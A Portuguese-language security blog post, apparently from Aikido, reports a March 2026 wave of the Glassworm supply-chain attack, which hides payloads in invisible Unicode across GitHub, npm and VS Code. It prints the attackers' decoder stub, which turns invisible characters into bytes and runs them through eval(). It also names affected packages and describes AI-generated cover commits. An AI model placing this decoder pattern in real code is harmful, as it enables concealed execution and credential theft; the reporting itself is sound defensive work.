Aikido

O Glassworm está de volta: uma nova onda de ataques Unicode invisíveis atinge centenas de repositórios

Escrito por
Ilyas Makari

A ameaça invisível que temos vindo a acompanhar há quase um ano está de volta. Enquanto a campanha PolinRider tem sido notícia por ter comprometido centenas de repositórios do GitHub, estamos a assistir, paralelamente, a uma nova onda de atividade do Glassworm que atinge o GitHub, o npm e o VS Code.

Em outubro do ano passado, escrevemos sobre como caracteres Unicode ocultos estavam a ser utilizados para comprometer repositórios do GitHub, tendo identificado que a técnica era da autoria de um agente malicioso chamado Glassworm. Este mês, o mesmo agente está de volta e, entre os repositórios afetados, encontram-se alguns nomes de destaque: um repositório da Wasmer, o Reworm e o opencode-bench da anomalyco, a organização por trás do OpenCode e do SST.

Campanha «Um Ano do Código Invisível»

  • Março de 2025: Aikido descobre, Aikido , pacotes npm maliciosos que ocultam cargas maliciosas utilizando caracteres Unicode PUA
  • Maio de 2025: Publicamos um artigo no blogue que detalha os riscos do Unicode invisível e como este pode ser utilizado indevidamente em ataques à Supply chain
  • 17 de outubro de 2025: Detectamos extensões comprometidas no Open VSX utilizando a mesma técnica
  • 31 de outubro de 2025: Descobrimos que os atacantes passaram a concentrar-se nos repositórios do GitHub
  • Março de 2026: Surge uma nova onda de ataques em massa: centenas de repositórios do GitHub são comprometidos, com o npm e o VS Code também afetados.

Uma breve revisão

Antes de nos debruçarmos sobre a dimensão desta nova onda, vamos recapitular como funciona este ataque. Mesmo após meses de cobertura mediática, continua a apanhar os programadores e as ferramentas desprevenidos.

O truque baseia-se em caracteres Unicode invisíveis: fragmentos de código que não são exibidos em praticamente nenhum editor, terminal ou interface de revisão de código. Os atacantes utilizam esses caracteres invisíveis para codificar uma carga maliciosa diretamente no interior do que parece ser uma cadeia de caracteres vazia. Quando o ambiente de execução JavaScript a encontra, um pequeno descodificador extrai os bytes reais e os transmite para eval().

Eis como se apresenta a injeção. Lembre-se de que o espaço aparente nas crases invertidas vazias abaixo está longe de estar vazio:

const s = v => [...v].map(w => (
  w = w.codePointAt(0),
  w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
  w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);


eval(Buffer.from(s(``)).toString('utf-8'));

A cadeia de caracteres entre crases passada para s() parece vazio em qualquer visualizador, mas está repleto de caracteres invisíveis que, uma vez descodificados, produzem uma carga maliciosa completa. Em incidentes anteriores, essa carga descodificada descarregava e executava um script de segunda fase utilizando a Solana como canal de distribuição, capaz de roubar tokens, credenciais e secrets.

A dimensão da onda de março de 2026

Estamos a observar uma campanha em grande escala levada a cabo pelo grupo de cibercriminosos Glassworm, que se está a espalhar por repositórios de código aberto. Uma pesquisa de código no GitHub pelo padrão do descodificador apresenta, neste momento, pelo menos 151 repositórios correspondentes, e esse número subestima a verdadeira dimensão do problema, uma vez que muitos dos repositórios afetados já tinham sido eliminados à data da redação deste artigo. As invasões no GitHub parecem ter ocorrido entre 3 e 9 de março.

A campanha também se expandiu para além do GitHub. Estamos agora a assistir à utilização da mesma técnica no npm e no marketplace do VS Code, o que sugere que o Glassworm está a levar a cabo uma ofensiva coordenada que abrange vários ecossistemas. Isto está em consonância com o padrão histórico do grupo de alternar entre diferentes registos.

Pacote Ecossistema Versões Data
@aifabrix/miso-client npm 4.7.2 12 de março de 2026
@iflow-mcp/watercrawl-watercrawl-mcp npm 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4 12 de março de 2026
quartz.quartz-markdown-editor VS Code 0.3.0 12 de março de 2026

Repositórios comprometidos de destaque no GitHub

Entre os repositórios que identificámos, vários pertencem a projetos bem conhecidos com um número significativo de estrelas, o que os torna alvos de grande valor para o impacto na cadeia de abastecimento a jusante:

Camuflagem assistida por IA

Como referimos no nosso artigo de outubro, as injeções maliciosas não surgem em commits manifestamente suspeitos. As alterações circundantes são realistas: ajustes na documentação, atualizações de versão, pequenas refatorações e correções de erros que são estilisticamente consistentes com cada projeto alvo.

Este nível de personalização específica para cada projeto sugere fortemente que os atacantes estão a utilizar modelos de linguagem de grande dimensão para gerar alterações de código de fachada convincentes. Na escala que estamos a observar atualmente, a elaboração manual de mais de 151 alterações de código personalizadas em diferentes bases de código simplesmente não é viável. 

Detecção e Proteção

As ameaças invisíveis exigem defesas ativas. Não se pode confiar na revisão visual do código ou na verificação de conformidade padrão para detetar o que não se consegue ver. Na Aikido, integrámos a deteção de injeções Unicode invisíveis diretamente no nosso fluxo de análise de malware.

Se já utiliza Aikido, estes pacotes serão assinalados no seu feed como uma falha crítica 100/100.

Aikido não está no Aikido ? Crie uma conta gratuita e vincule os seus repositórios. O plano gratuito inclui a nossa cobertura de deteção de malware (não é necessário cartão de crédito).

Por fim, uma ferramenta capaz de bloquear malware de cadeia de abastecimento em tempo real, à medida que este surge, pode evitar uma infeção grave. Esta é a ideia subjacente Aikido Chain, uma ferramenta gratuita e de código aberto que integra o npm, o npx, o yarn, o pnpm e o pnpx e recorre tanto à IA como a investigadores humanos especializados em malware para detetar e bloquear os mais recentes riscos de cadeia de abastecimento antes que estes entrem no seu ambiente.

{{cta}}

Compartilhar:

https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode

Assine para receber notícias sobre ameaças.

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc
4.7/5
Cansado de falsos positivos?
Experimente Aikido outras 100 mil pessoas.
Começar Agora
Obtenha um guia personalizado

Confiado por mais de 100 mil equipas

Agende Agora
Analise a sua aplicação em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipas

Iniciar digitalização
Veja como a IA testa a segurança da sua aplicação

Confiado por mais de 100 mil equipas

Começar o teste
Verifique os seus repositórios em busca de ataques Unicode ocultos

Confiado por 100 mil equipas

Comece gratuitamente

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.